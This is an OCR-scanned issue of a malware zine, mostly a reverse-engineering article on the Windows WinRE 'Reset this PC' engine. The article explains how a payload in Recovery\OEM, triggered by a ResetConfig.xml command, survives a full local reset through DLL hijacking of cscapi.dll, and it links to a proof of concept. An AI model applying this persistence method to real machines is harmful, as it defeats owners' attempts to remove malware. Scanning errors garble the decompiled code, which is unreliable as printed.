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Hello, how are you?

Welcome to Black Mass Volume II.

It has been nearly one year since we last spoke, time goes by fast doesn't
it? For those unfamiliar with Black Mass, this is a collection of works
exclusive to the release of this zine. The ultimate goal of this series is
to produce something interesting, and novel, or something which may
encourage others to explore various malware techniques or concepts.

Our first release was fun to develop. We had hundreds of wonderful people
all across the planet give us feedback and share their thoughts and ideas
following the release of the zine. We hope this issue also inspires
people to explore malware and push the limitations of creativity. The only
limit to malware is the human imagination.

This issue is particularly special though, beside it being our second
release, this issue pays homage to first release which our publisher botched.
To honor our many typos, mistakes, and failures, this book
doubles as a coloring book.

We hope you enjoy it.

Thank you to everyone who has shown us love and support, has contributed
to our zines, and continue to inspire and motivate us.

We’1ll speak again in Volume III.

-smelly
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You’ll support actual human artists and have something
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Why You Shouldn’t Trust the Default WinRE Local Reinstall
Authored by LainPoster

1.0: Introduction

Hello everybody. In this entry | am going to talk about a very easy way to survive payloads across default WinRE
reinstallations using the “delete all files” option of a home computer. This is so easy in fact anybody can do it
without reversing anything, if you have looked enough around MSDN documentation. That would make this paper
not worth writing, but | wanted to partially reverse the component that handled it, and this is the result of it (after
some long periods of time staring at IDA...) | also want to point out that some parts were left out/optimized with
significant modifications due to space. One example of these optimizations was done for ATL containers that had
similar memory layout such as CStringT and CSimpleStringT, and here CStringT (specifically CStringW) will be
used interchangeably for readability reasons. On the other hand, symbols that were excessively long in size were
also optimized out.

If you want to see some of my rebuilt structures/classes so you can continue reverse engineering other features of
your interest, | will post a link with a SDK-like header file at the end of the entry that you can apply directly to IDA
and you can modify on your will.

1.1: Brief background information.

WInRE is, in informal terms, a “small” Windows OS (a.k.a WinPE) which is stored in a WIM disk image file inside a
partition which is meant to boot up from it when your core OS is malfunctioning. In terms of the WIM file used for

storing it, there is native windows binaries for manipulating it such as DISM so coding one parser is not necessary
for modifying or extracting the different executables as needed. For further technical details refer to the references
section.

Describing the entire internals of this environment (WinPE variant) is not the main objective of this paper. Instead
we will focus on describing how the different recovery options are selected under the hood, and the most important
interactions with the recovered OS that can lead to surviving reset (where you will see it is incredibly easy in the
default configuration).

However, the core question arises: How do you find the core binaries involved in this process? While the most
reasonable approach would have been debugging, | decided to explore around the mounted WIM itself with the core
files at first, looking for specific binaries that could be interesting, and googling them. This did not yield any results
until | found the following image with an exception error:



[roubleshoot

Reset this PC
Lets you choose to keep or remove:
your files. and then reinstalls Windows.

on ot ONO0CO7FFIGEDIZBAG referenced memory at.
10A85798. The memory could not be read.

Click an OK to terminate the program

(boomer “screenshot”A)

This error was particularly interesting because it gave away one specific binary after clicking the “Reset this PC”
option: RecEnv.exe. Following it, | retrieved particular interesting modules involved, which were RecEnv.exe,
sysreset.exe, and ResetEngine.dll, but these are just some of them which we will focus on throughout the entire
entry. However, at first this looked just like a simple coincidence, so | had to test how valid these modules were for
the recovery process. The easiest way to approach it was using the WinRE command prompt and create a process
with some reversed argument parameters from the binaries recovered, specially sysreset.exe, which was the one
that took my most attention.

| have to say the results were very interesting, as you can see by some of the screenshots below, which matched
with the type of result | was expecting and | was interested in.




Reset this PC

How would you like install Winde

If your connection is metered charges may apply. Cloud download can use more than 4 GB of data.

Cloud download

Download and reinstall Windows

Local reinstall

Reinstall Windows from this device

336 = swvchost X:\Windows\System32\svchost. exe
1020 s RecEnv X:\sources\recovery\RecEnv. exe

944 ® svchost X:\Windows\System32\svchost. exe

584 ® svchost X:\Windows\System32\svchost. exe

564 ® svchost X:\Windows\System32\svchost. exe

544 5 wallpaperHost workerw X:hWwindowsh System32hwallpaperHost. ex
784 @ conhost MSCTFIME UI X:hWwindowsh System32hconhost. exe

772 5 winpeshl winpeshl.exe X:hWwindowsh System32hwinpeshl. exe
708 8 svchost X:\Windows\System32\svchost. exe
664 8 svchost X:\Windows\System32\svchost. exe
604 ® fontdrvhost X:\Windowsh System32\ fontdrvhost. exe
596 ® fontdrvhost X:\Windows' System32\ fontdrvhost. exe
S04 ¥ 1sass X:\Windows\System32i1sass. exe

472 5 winlogon X:\Windows\System32\winlogon. exe

| want to point out an additional aspect that helped me out analyze statically the execution flow, and that | found
later on: Log files.

They contain a lot of the details of the execution environment that are stored at the end of the whole recovery
process inside a folder named $SysReset, where each subdirectory has relevant information. In this sense, | only
used mainly two file logs from this directory: Logs/setuperr.log and Logs/setupact.log.

The main functions for logging to these files are Logging::Trace or Logging::TraceErr.For this work, setupact.log
was specially used for debugging some of my payload script issues and mapping different blocks of code that were
executed, which aided me at getting a better big picture of the whole process. Initially | considered using hooks to
log stack traces of particularly interesting binaries, but for most of the work shown here, any additional tooling was
not needed. Without anything further to add, we can focus on describing better how some of the WIinRE execution
process details are staged and performed successfully.

1.2.1. Reverse engineering WIinRE binaries for execution scheduling internals.
While at first | looked around binaries such as RecEnv.exe and sysreset.exe, | traced the execution of the modules
statically in the following way:

RecEnv.exe -> sysreset.exe -> ResetEngine.dll

In this sense, the engine core execution process can be described from this point, particularly with ResetEngine.dll,
and exports such as ResetExecute or ResetPrepareSession. The reason is the manipulation of an object named



Session, which members are of huge interest for further understanding how the engine prepares itself for executing
the different options available.

struct Session

{

CAtlArray m_arrayProperties;

BoolProperty m_ConstructCheck;
BoolProperty m_ReadyCheck;

WorkingDirs* m_WorkingDirs;

BYTE bytes_not_relevant_members[64];
CString m_TargetDrivelLetter;

Optionsx m_Options;

SystemInfox m_SystemInfo;

DWORD m_IndexPhaseExecution;

DWORD GapBytes;

ExecStatex m_ExecState;

OperationQueuex m_OperationQueueOfflineOps;
OperationQueuex m_OperationQueueOnlineOps;
BYTE bytes_not_relevant_members2[12];

IiE

The main reason for this is because this object contains a member of type OperationQueue, which is basically a
typedef of CAtlArray for each DerivedOperation object to execute, tied to a particular derived Scenario type. Such
scenarios are initialized thanks to ResetPrepareSession, and each of their operations related to it are executed
properly with ResetExecute.

struct _ _cppobj DerivedScenario : Scenario
{

voidx m_Telemetry;

ScenarioType* m_ScenarioType;.

voidx m_CloudImgObjPtr;

voidx m_PayloadInfoPtr;
Options* m_OptionsObjPtr;
SystemInfox m_SystemInfoPtr;
}i

Describing the functionality inside ResetPrepareSession further, the method Session::Construct stands out by
calling Scenario::Create and Scenario::Initialize. These methods will create a different derived Scenario object,
where there is a maximum of 13 types, being the one that matters the most to us, ResetScenario. Additionally, the
vtable from the base class is replaced with the one from the derived class type, effectively overriding it for
functionality specifics of that case. Most derived scenarios have the same size, however, for the bare metal scenario
cases, additional disk info information members are added.

On the other hand, the Operation objects are queued to the OperationQueue thanks to the internal method per
derived scenario type: InternalConstruct. It is important the results are applied for online and offline operations.
This method is also in charge of initializing the ExecState object, which will see later on how it is relevant for our
reverse engineering effort.



dwResult = OperationQueue::Create(OperationQueueOffline);
if ( dwResult >= 0 ){
dwResult = OperationQueue::Create(0OperationQueueOnline);
if ( dwResult >= 0 ){
vtableDerivedScenario = DerivedScenarioObj->vTableScenario;
dwResult = vtableDerivedScenario->InternalConstruct(DerivedScenarioObj, ExecStatePtr,

OperationQueueOffline, OperationQueueOnline);

if ( dwResult >= @
*0perationQueue0fflineOperations = OperationQueueOffline;
*0perationQueueOnlineOperations = OperationQueueOnline;

Excerpt: Code snippet per Scenario to build OperationQueue objects inside Scenario::Construct.

The InternalConstruct method redirects to an internal DoConstruct function. Inside of this function,
Operation::Create, passes a CStringW which is highlighted by the code as the OperationTypelD member used
as a key to an CAtIMap<CStringW, struct OperationMetadata>. Specifically, once the specific type is found, the
derived Operation is built calling OperationMetadata m_FactoryMethod member, which is basically a
DerivedOperation constructor.

struct OperationMetadata
{
CString m_OperationTypelID;
void* m_FactoryMethod;

I

OpNode = CAt1Map<CStringW,OperationMetadata>::GetNode(m_OperationTypeIdArg, &iBinArg,&nHashArg,&prevNode);
OpMetadataObj = &0pNode->m_value;
FactoryMethod = OpMetadataObj->m_FactoryMethod;
DerivedOpObjPtr = FactoryMethod();
*DerivedOperation0ObjPtr = DerivedOpObjPtr;

Excerpt: Code snippet to build derived Operation objects inside Operation::Create, using Factory method.

Additionally, just like with the Scenario class, the derived Operation object also replaces its base Operation vtable
for executing specific functionalities to the operation (both cases are due to polymorphism). Below you can see the
base Operation memory layout for each possible operation to be executed.

struct Operation

{
VtableOperation *VtableOperation;
CAtlArray m_ArrayProperties;
CString m_OperationName;

BoolProperty m_ExecutedProperty;
Sessionk m_SessionObjPtr;
void* m_TelemetryObjPtr;

Regarding ResetExecute, the internal function Session::ExecuteOffline redirects to Executer::Execute, which
eventually leads to each queued derived operation’s InternalExecute method.



PushButtonReset::Logging::Trace(@, L"Operation validity check passed, will execute");
DerivedOpObj->m_SessionObj = SessionObjCommands;

DerivedOpObj->m_TelemetryObjPtr = TelemetryObjPtr;

dwResult = (DerivedOpObj->VtableOperation—->InternalExecute) (DerivedOpObj, ExecStateObjPtr, ArgObject);
DerivedOpObj->m_SessionObj = H

DerivedOpObj->m_TelemetryObjPtr = ;

if( dwResult >= @ ) {
DerivedOperation->m_ExecutedProperty.bCheck = 1;
} else{
Logging::TraceErr( , dwResult, "PushButtonReset::Operation::Execute",
"base\\reset\\engine\\exec\\src\\operation.cpp", 580, L"Internal failure in subtype execution routine");

;

Excerpt: Code snippet showing InternalExecute per derived Operation inside Executer::Execute. Notice how
the members mainly passed as arguments to InternalExecute come from the base Operation type.

While there are other functions that are also involved in this process besides the ones just mentioned, | consider it
important to add only those which will also be a call to Operation::ApplyEffects after this code snippet. It basically
executes the derived operation’s InternalApply method that may contain important initializations that will be used in
the entire execution process, as it will be seen below.

Staying on topic, there is a particular registry value that is used across the ResetEngine.dll binary, named
TargetOS, which is set in HKLM\SOFTWARE\Microsoft\RecoveryEnvironment in the WinRE environment. Such
registry value is extremely important because it will be used for the initialization of different members inside some
of the most important classes used in the recovery process. One example of this can be found when we look at
m_OIdOSRoot, m_NewOsRoot and m_TargetVolumeRoot members, part of the ExecState class. What can be
pointed out is this object is initialized through the DerivedScenario’s InternalConstruct method

mentioned above, which can be seen as a parameter to the method in the code snippet.

Talking more specifically about these members mentioned, it can be pointed out that m_OIdOSRoot and
m_TargetVolumeRoot are initialized using m_TargetVolume from the Derived Scenario object, which in turn
comes from the Session object, which is initialized from this registry value as an argument to ResetCreateSession.
However, at a certain point of execution all these members are set/used after the execution of one of the operations
queued, specifically OpExecSetup, when the InternalApply method is called in the scheduled execution, as shown
below.

if (!ExecState->m_Have0ldOs.bCheck)

{

ATL: :CStringW(&0ldWindowsDir, L"Windows.old");

Path::Combine(m_TargetVolumeRoot, &0ldWindowsDir, &ExecStateObj—>m_01dOSRoot.CStringPath);

+
ExecStateObj—>m_HaveNew0S.bCheck = 1;
CStringW: : operator=(&ExecState—>m_NewOSRoot.CStringPath,&m_TargetVolumeRoot) ;

Excerpt: Setting up m_NewOsRoot and m_OIdOsRoot after OpExecSetup InternalApply execution.

This raises the question: Why is this Windows.old subdirectory specifically set up for the m_OIldOsRoot
member? This is mainly a consequence of the InternalExecute method of the same OpExecSetup operation,
specifically using SetupPlatform.dll when the function CRelocateOS::DoExecute is called. We will not dive deep
into the implementation of this aspect, since it’s not relevant enough for this paper. However, put briefly it migrates
some of the different subdirectories and it’s files of the “Old OS” under “<DriveLetter>:\Windows.old\”, being this a
temporary directory used for the recovery process itself. We will see exactly which migrated subdirectories from here
are relevant to us in the next section.

Now that we know everything is derived from this registry value, how is this registry value even set for the WinRE
environment to interact with the OS volume? What | found out is that RecEnv.exe is in charge of this through



CRecoveryEnvironment::ChooseOs. While tracing this function dynamically, the internal function
CBootCfg::GetAssociatedOs can be highlighted. In this sense, what can be particularly pointed out from this
method is the creation of a struct instance labeled as SRT_OS_INFO which populates it’s members inside
CBootCfg::_PopulateOsinfoForObject. If you just wonder why this matters: it’s first member is used for initializing
this registry value.

On the other hand, before calling _PopulateOsinfoForObject, there are interactions with the system BCD store
from where the proper BCD object handle will be used to retrieve further data. From this point, a particular selection
is done based on checks, which mainly focuses on matching GUIDs for finding the “Associated OS”, a.k.a our to-be
recovered OS. This is mainly done inside CBootCfg::_IsAssociatedOs. After this particular check has been
satisfied, The _PopulateOsinfoForObject method will eventually call CBootCfg::_GetWinDir, and from here, using
BcdQueryObject, a _BCDE _DEVICE struct is used for retrieving the device object’s full name of the particular
volume, using during my debugging sessions, the method CBootCfg::_GetPathFromBcdePath. This path will then
be used with Utils::ForceDriveLetterForVolumeMountPoint to retrieve a proper drive letter to interact with the
volume and then, using BcdGetElementDataWithFlags, a relative WinDir Path string (/Windows) is retrieved using
another BCD object handle related to the GUID associated OS check, and then both are concatenated to form:
<DriveLetter>:/Windows, which is the end result used for the TargetOS registry value.

You might be asking “but isn't the engine itself using a drive letter, instead of this directory path?” To answer this
we just have to keep in mind that at the moment when sysreset.exe calls ResetCreateSession, Path::GetDrive is
used inside of GetTargetDrive to extract only the drive letter from the data set in the TargetOs registry value, working
out the rest of the steps as described above. Another aspect that | have to point out is that everything described
here has been explained exclusively from the WinRE environment execution flow perspective for ease, since there
are different ways to set this “Reset this PC” option (but all of them have the same results for our payload).

Now, we can ask the most important question after all the explanations done so far: “What additional details can
be pointed out for abusing this specific scenario as needed?” For that, | have to show you more implementation
details regarding the ResetScenario, which answer this question in much more detail.

1.2.2: ResetScenario: reversing specific derived operation objects for surviving reset.

Once we have described exactly how operations and each scenario are constructed by ResetEngine.dll, let’s focus
on ResetScenario::InternalConstruct. In this sense, this method redirects to an internal function
ResetScenario::DoConstruct, which will be adding the Operation struct using OperationQueue::Enqueue. For
this scenario, only the offline operation queue is set and the overall list of all the operations being executed can be
seen below. (Remember that online operations are not set in this case).

Offline operation queue: 24 operations (CAtlArray)
0: Clear storage reserve (OpClearStorageReserve)
1: Delete OS uninstall image (OpDeleteUninstall).
2: Set remediation strategy: roll back to old OS (OpSetRemediationStrategy).
3: Set 'In-Progress' environment key (OpMarkinProgress).
4: Back up WinRE information (OpSaveWinRE)
5: Archive user data files (OpArchiveUserData)
6: Reconstruct Windows from packages (OpExecSetup)
7: Save flighted build number to new OS (OpSaveFlight)
8: Persist install type in new OS registry (OpSetinstallType)
9: Notify OOBE not to prompt for a product key (OpSkipProductKeyPrompt)
10: Migrate setting-related files and registry data (OpMigrateSettings)
11: Migrate AppX Provisioned Apps (OpMigrateProvisionedApps)
12: Migrate OEM PBR extensions (OpMigrateOEMExtensions)
13: Set 'In-Progress' environment key (OpMarkinProgress)
14: Restore boot manager settings (OpRestoreBootSettings)
15: Restore WinRE information (OpRestoreWinRE)



16: Install WinRE on target OS (OpinstallWinRE)

17: Execute OEM extensibility command (OpRunExtension)

18: Show data wipe warning, then continue (OpSetRemediationStrategy).

19: Delete user data files (OpDeleteUserData)

20: Delete old OS files (OpDeleteOIdOS).

21: Delete Encryption Opt-Out marker in OS volume (OpDeleteEncryptionOptOut):
22: Trigger WipeWarning remediation if a marker file is set (OpTriggerWipeWarning):
23: Set remediation strategy: ignore and continue (OpSetRemediationStrategy)

Now, we have to focus particularly on the specific operations that are more relevant to us, having in mind the
execution order of the OperationQueue array that is being shown and our main objective, which is achieving any
sort of filesystem persistence mechanism (surviving files and achieving code execution). The first thing | had to focus
on while trying to survive in such an environment is finding where exceptions to deletion could be happening inside
the construction of the Operation queue. Because of this, | considered initially operations such as
OpDeleteUserData and OpArchiveUserData, since they seem relevant, but end up not being useful at all since
they copy and delete the data they move, which is mainly $SysReset’s stored old OS folders and files. (The path
would be <DriveLetter>:\$SysReset\OIdOs)

Because of this, | focused instead on operations related to migration, such as OpMigrateOEMEXxtensions. This
derived Operation object basically inherits everything from BaseOperation and doesn’t have any additional relevant
members, so what is most interesting from it is of course, OpMigrateOemExtensions::InternalExecute.

At this point, we can say code speaks more than words, the optimized code snippet is shown below:

Path::Combine(&ExecState—>m_01d0OSRoot.CStringPath, L"Recovery", &01d0sRecoveryPath);

Path: :Combine(&ExecState—>m_NewOSRoot.CStringPath, L"Recovery", &NewOsRecoveryPath);

if (!Directory::Exists(&NewOsRecoveryPath))

{

Logging::Trace(@, L"MigrateOEMExtensions: Creating recovery folder");
(PN)

Path: :AddAttributes (&NewOsRecoveryPath);
Directory::CopySecurity(&01dOsRecoveryPath, &NewOsRecoveryPath);
+

NewOsRoot = &ExecState->m_NewOSRoot.CStringPath;

01dOsRoot = &ExecState->m_01dOSRoot.CStringPath;

TargetVolRoot = &ExecState->m_TargetVolumeRoot.CStringPath;
PbrMigrateOEMProvPackages(TargetVolRoot, 0ldOsRoot, NewOsRoot);
PbrMigrateOEMScripts(TargetVolRoot, 0ldOsRoot, NewOsRoot);
PbrMigrateOEMAutoApply(TargetVolRoot, 0ldOsRoot, NewOsRoot);

From all the functions that may be interesting, the one that interests me the most to cover is
PbrMigrateOEMScripts. You might be asking why? It is pretty simple, this is the function that basically is in charge
of moving files inside the <DriveLetter>:\Recovery\OEM folder from OldOs (Windows.Old folder), to the newOs
(<DriveLetter>).



Path::Combine(m_01dOsRoot, L"Recovery\\OEM", &0ldRecOemPath);

Path::Combine(m_NewOsRoot, L"Recovery\\OEM", &lewRecOemPath)

Logging::Trace(@, L"MigrateOEMExtensions: Migrating OEM scripts from [%s] to [%s]", OldRecOemPath.
m_pchData, NewRecOemPath.m_pchData);

if (Directory::Exists(&01dRecOemPath) && !'Directory::Exists(&NewRecOemPath))

{

(ooz)

Directory: :Move(&01dRecOemPath, &NewRecOemPath, 1u);

+

Excerpt: Optimized PbrMigrateOEMScripts snippet to move entire directory from old to new OS
(with Directory::Move)

Path::GetDirectory(NewOsRecoveryOemPath, &ParentDirRecovery);
if ( Directory::Exists(&ParentDirRecovery))

Path: :GetShortName (01d0OsRecoveryOemPath, &ShortNameRecOemPath);
Path: :GetCanonical(0ldOsRecoveryOemPath, &CanonicalRecOemPathOld);
Path::GetCanonical(NewOsRecoveryOemPath, &CanonicalRecOemPathNew);
dwFlags = !argFlag;
if( MoveFileExW(CanonicalRecOemPathOld, CanonicalRecOemPathNew, dwFlags))
{
if (ADJ(ShortNameRecOemPath.m_pchData)->nDataLength > 0

Path::SetShortName(NewOsRecoveryOemPath, &ShortNameRecOemPath);

Excerpt: Optimized Directory::Move snippet related to moving subdirectories and files.

This code effectively shows how the engine itself moves arbitrary files from the “OldOS” (Windows.Old) to the
“NewOS” (<DriveLetter>), as long as they are inside this folder: Recovery\OEM. This however is not enough for
achieving any sort of code execution to the target recovered OS, since we are limited to this directory for storage
and there is no direct reliable interaction from which the recovered OS can use the migrated payload from this
particular directory.

This is where an additional Operation in the queue can be chained together for exactly this purpose:
OpRunExtension.

struct _ cppobj OpRunExtension : Operation
{

BoolProperty m_IsRequired;
StringProperty m_PhaseExecution;
PathProperty m_ExtensibilityDir;
StringProperty m_CommandPath;
StringProperty m_Arguments;
IntProperty m_Duration;

IntProperty m_Timeout;

PathProperty m_RecoveryImageLocation;
BoolProperty m_WipeDataCheck;
BoolProperty m_PartitionDiskCheck;

I

To show how exactly it matters to our intention, we have to look out for implementation details inside




OpRunExtension::InternalExecute. Mainly there are functions that are in charge of setting the necessary
environment, where we can point out mainly OpRunExtension::SetEnvironmentVariables and of course,
OpRunExtension::RunCommand. The latter is the most important function of this particular derived Operation in
our context, but | will describe both.

OpRunExtension: :ExecuteCompatWorkarounds (RunExtension0Obj);
dwCodeError = Path::Combine(&ExecStateObj—>m_TargetVolumeRoot.CStringPath, L"Windows", &TargetWinDir);
if (dwCodeError >= 8){

OpRunExtension: :SetEnvironmentVariables (RunExtensionObj, &TargetWinDir.m_pchData);

OpRunExtension: :RunCommand (RunExtensionQObj) ;

)

Excerpt: Optimized OpRunExtension::InternalExecute understanding the overall execution flow.

First, OpRunExtension::SetEnvironmentalVariables is not too important, but it's core functionality is
manipulating different registry values under HKLM\SOFTWARE\Microsoft\RecoveryEnvironment. Some of those
values include Recoverylmage, AllVolumesFormatted, DiskRepartitioned and even TargetOs, but this is only
created if it doesn’t exist, which is usually not the case as far as my tests have shown. On the other hand,
OpRunExtension::RunCommand is much more interesting for our purposes. For this aspect, we have to explain
particular things related to the OpRunExtension object.

During the execution of ResetScenario’s DoConstruct/InternalConstruct methods, there are particular members
that are initialized here, and most of them come from an object labeled as “Extensibility”.

if ( Extensibility::HasCommandFor(ExtensibilityObjectPtr, 3u)
{

Logging::Trace(®, L"Reset: OEM extension is available for ResetEnd");
Extensibility: :GetCommand(ExtensibilityObjPointer, 3u, &ExtensibilityDir, &ScriptPath, &Arguments, &
dwSeconds) ;

ArgsString = PayloadInfo::GetImage(&Arguments);

ScriptPath = PayloadInfo::GetImage(&ScriptPath);

OemFolderPath = PayloadInfo::GetImage(&ExtensibilityDir
Logging::Trace(®, L"Reset: OEM extension command defined in [%s] for phase 2 is [%s] [%s] ([%u] seconds)
", OemFolderPath, ScriptPath, ArgsString, (DWORD)dwSeconds);

ATL::CStringW(&0perationNameStr, L"RunExtension");

Operation::Create(&0perationNameStr, OpRunExtensionObjPtr);

BoolProperty::operator=(&0pRunExtensionObjPtr->m_IsRequired,

ATL::CStringW(&m_PhaseExec, L"ResetEnd");

PathProperty: :operator=(&0pRunExtensionObjPtr->m_PhaseExecution, &m_PhaseExec);
PathProperty::operator=(&0pRunExtensionObjPtr->m_ExtensibilityDir, &ExtensibilityDir);

PathProperty::operator=(&0pRunExtensionObjPtr->m_CommandPath, &ScriptPath);

PathProperty::operator=(&0pRunExtensionObjPtr->m_Arguments, &Arguments);

IntProperty: :operator=(&0pRunExtensionObjPtr->m_Duration, dwDurationSeconds);

IntProperty: :operator=(&0pRunExtension0bjPtr->m_Timeout, 3600);

BoolProperty: :operator=(&0pRunExtensionObjPtr->m_WipeDataCheck,

BoolProperty::operator=(&0pRunExtensionObjPtr->m_PartitionDiskCheck,

OperationQueue: :Enqueue(OperationQueue0ffline, OpRunExtensionObjPtr);

Excerpt: Optimized ResetScenario::DoConstruct snippet to understand OpRunExtension member
initialization.

To explain how this Extensibility object is initialized, we need to focus on the proper method used for this precise
purpose and the members of classes involved in it. The answer to this is simple, and it is basically inside
ResetScenario::internalConstruct, using the Systeminfo object with the member | labeled as
m_TargetOEMResetConfigPath. This is basically the path to ResetConfig.xml, which has to be stored in the



Recovery\OEM directory from the “OldOs”.

StringInOemExtensibility=CStringW::CloneData(ResetScenarioObj—>m_SystemInfoPtr—>
m_TargetOEMResetConfigPath.CString.m_pchData);
if ( StringInOemExtensibility->nDatalLength > @ ){

Logging::Trace(®, L"Reset: Loading OEM extensions");

Extensibility::Load(&5tringInOemExtensibility, ExtensibilityObj);
lana)
}

Excerpt: Optimized ResetScenario::InternalConstruct snippet, which shows the usage of the Systeminfo
member, used for referring to the ResetConfig.xml path inside Extensibility::Load.

If we focus on this ResetConfig.xml file path and how it is used, we can say that reverse engineering the XML
parsing itself is not particularly interesting, but in a brief description it can be said that this Extensibility object using
the method Extensibility::ParseCommand with XmINode::GetAttribute and XmINode::GetChildText, checks for
values that are documented here. Specifically, there is some parsed information regarding Run/Path XML elements
that will be stored under the Extensibility object first member, which is of CAtiIMap<enum RunPhase, struct
RunCommand> type, particularly matching the enum RunPhase key and then modifying the proper
RunCommand structure with the parsed information from the XMLNode object.

If you wonder what all this means, it is just an overcomplicated way to say that we have to focus on three particular
XML elements: RunPhase, Run and Path, at their proper execution phase to trigger some possible code
execution. For our purpose, we only care for RunPhase == FactoryReset_AfterimageApply, which is represented
in the implementation as the enum PhaseEnd with DWORD value 0x3.

However, while we know how to set up the environmental aspects of our payload so the WIinRE engine works
around it, we still don’t know how exactly the payload will be executed. To answer this, after explaining some of the
workings around the setup for core objects related to OpRunExtension, we have to return again to the
RunCommand method, which builds a command line string with arguments.



PbrMountScriptDirectory(&this—>m_ExtensibilityDir.CStringPath, &ScriptDirectory);
Logging::Trace(®, L"RunExtension: Resolved script directory [%s] to [%s]", this—>m_ExtensibilityDir.
CStringPath.m_pchData, ScriptDirectory.m_pchData);

Path::Combine(&ScriptDirectory, &this->m_CommandPath.CStringMember, &ScriptFileCommand);
ATL::CStringW: :Format(&ScriptFileName, L"%s %s", ScriptFileCommand.m_pchData, this—>m_Arguments.
CStringMember.m_pchData);
Logging::Trace(®, L"RunExtension: About to execute [%s]", ScriptFileName.m_pchData);
()
dwResultCode = Command::Execute(&ScriptFileName, unused_arg, CommandObjPointer);
if ( dwResultCode >= 0@ ){
dwCodeResult = Command::Wait(CommandObjPtr,this->m_Timeout.m_int_for_property;);
if ( dwCodeResult < @ ){

dwResultCode = 0x800705B4;

if dwCodeResult == 0x800705B4
Logging::Trace(lu, L"RunExtension: The command timed out");

Command: : Cancel(pCommandObj ) ;
(caal)

Logging::Trace(lu, L"RunExtension: The command was terminated");

}
else{
Logging::Trace(®, L"RunExtension: The command completed");
dwErrorCode = 0;
dwResultCode = Command::GetExitCode(CommandObj, &dwErrorCode);
if (dwResultCode >= 0
if ( dwErrorCode ){
Logging::Trace(®, L"RunExtension: The command failed: Exit Code: [%u]", dwErrorCode);
+

Excerpt: Optimized OpRunExtension::RunCommand for overall execution flow.

If we inspect Command::Execute, the most important snippet of code that matters for our purposes is the following
one:

memset_@(&ProcessInfo, @, sizeof(ProcessInfo));

ProcessInfo.cb = 104;

ProcessInfo.dwFlags = 256;

ProcessInfo.hStdInput = Input;

ProcessInfo.hStdOutput = commandObj;

ProcessInfo.hStdError = commandObj ;

memset(&lpProcessInformation, @, sizeof(lpProcessInformation));
CreateProcessW( , CommandLineOQutput—>m_pchData, 0 , 1, 9x8000000u,
&ProcessInfo, &lpProcessInformation);

This is where the brainstorming started:

Since we have code execution within this environment and we know the operation scheduling order from static
analysis, we can be sure that our stored payloads will be migrated from our “OldOs” to any “NewOs” OEM directory,
thanks to OpMigrateOemExtensions and additionally, using a script file or a custom binary with particular
arguments, we can also “arbitrarily” migrate from this “NewOS” OEM folder to a “NewQOS” reliable directory from
where we are sure we can trigger filesystem persistence, thanks to OpRunExtension and the TargetOS registry
value that the environment itself provides us to interact with the to-be recovered OS volume.




This idea is the first thing that of course seemed plausible when considering the execution done by the described
operations of our interest, and maybe also looked way too easy in terms of application, but at the end of my tests,
there were a lot of considerations that | had in mind at the end of experiments, which you will see in the next section.

1.2.3: Practical limitations regarding the environment for payload’s usage.

From this point onwards, everything described here is based on the results of the experiments | did for testing my
payload, rather than reverse engineering specific binaries. In this sense, the OOBE phase is the next step which is
in charge of creating the new user while using the newly modified OS volume, hence why every single change done
through the recovery process is shown after the OOBE wizard has finished. However, due to the execution flow up
until this point, it is implied that the new user specific folders can’t be accessed, since the payload migration had to
be done before even starting this step. Taking in mind these logical assumptions, the statement that | can migrate
my payload “arbitrarily” for code execution is not actually correct, since | can’t copy it to the new user’s specific
target directories such as \Users\<NewUsername>\AppData\Roaming\Microsoft\Windows\Start Menu\
Programs\Startup. Similarly, it can be pointed out that there is also constraints related to restrictive DACLs for
shared directories in a multiuser system such as ProgramData\Microsoft\Windows\Start Menu\Programs\
StartUp, which of course difficults from where we can trigger our payload from the recovered OS.

So what is a simple solution to this problem with the mentioned constraints? The answer is an old fashioned dll
hijacking payload, particularly one that was reliable (a binary that is guaranteed to be loaded after the reinstallation,
inside the system root directory “<Drive Letter>:\Windows”.) Of course there are possibly other ways to achieve
code execution by having access to this particular directory, but for this specific PoC, this was the main route that |
took. Staying on topic, there are a lot of such DLLs that could be used for this precise purpose, but the one |
decided to pick up as an example was cscapi.dll, used by explorer.exe. (Special thanks to Dodo for pointing me out
to this dll).

| specially crafted some simple dll that spawned a shell, some ResetConfig.xml and of course, the script to be
executed which triggers the migration of the payload as well, all stored inside Recovery\OEM. Eventually all the
process described in the sections above will be executed and we will get a command prompt after the OOBE phase
for the new account created. The payload testing phase was quite interesting, but to put it briefly, it is recommended
avoiding anything non-command line based. Finally, all of this can actually be figured out by just looking at MSDN
documentation regarding ResetConfig.xml and Push-Button Reset related information, which is what [ initially
started to do before working on the actual reversing process to understand particular undocumented things from
this environment to interact better with the result recovered OS. The basic strategy was: “Poking around things until
something particular interesting appears.”

Conclusion:

This was a brief writeup on how it is possible to survive and achieve code execution very easily if the reset is done
through local installation, even when set “Remove files and clean the drive.” This took a while to reverse engineer
since this environment, even if it looks similar to a usual Windows OS (both in kernel and user mode components),
had quirks unique to this environment that required further research for my particular intentions.

The link for the SDK header file for IDA and an incredibly bad programmed PoC is here:
https://github.com/blackmassgroup/Black-Mass v2

Regarding other scenarios and limitations, it is important to keep in mind | mainly tested this both in a VM and in a
usual Windows 10 home OS: Possible integrated mitigations were not taken in consideration (and are usually not set
up in a default installation, even if it existed), but | am sure there is some policy to deal with it. On the other hand,

| have NOT tested it in other scenario cases that could be used as well such as CloudResetScenario, which would
match when the reset is done through a downloaded image.


https://github.com/blackmassgroup/Black-Mass_v2

It is most likely that it would work as well in those cases, but for now, | leave it as an exercise to the reader.
Present Day. Present Time. We are all connected
This is probably my last public work in some months, but we will meet again soon in the future.

Ukc4Z22JtOTBJR3hsZENCaGJubGliMII1SUhSbGJHA2dIVzkxSUhSb11YUWdIVzkxSUdOaGJpZDBJR1J2SUdsMExn-
bwpodHRwczovL3d3dy55b3V0dWJILMNVbS93YXRjaD92PTJKWTRZNDNXbVh]

Special thanks to Jonas for the idea some months ago (although this was not precisely what | intended to achieve,
but progress is progress).

Additional references:
0.-Main start reference:

->https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/push-button-reset-over-
view?view=windows-11

1.-IDA Pro shifted pointers (particularly used for CString/CSimpleString containers).
->Reference: https://hex-rays.com/blog/igors-tip-of-the-week-54-shifted-pointers/
->External header used: https://github.com/dblock/msiext/blob/master/externals/WinDDK/7600.16385.1/inc/atl71/

atlsimpstr.h

2.-IDA Pro __cppobj structures (Used in most rebuilded classes).
->Reference: https://www.hex-rays.com/products/ida/support/idadoc/1691.shtml

3.-Autopilot processes (Good reference for OOBE binaries, did not added this for this paper):
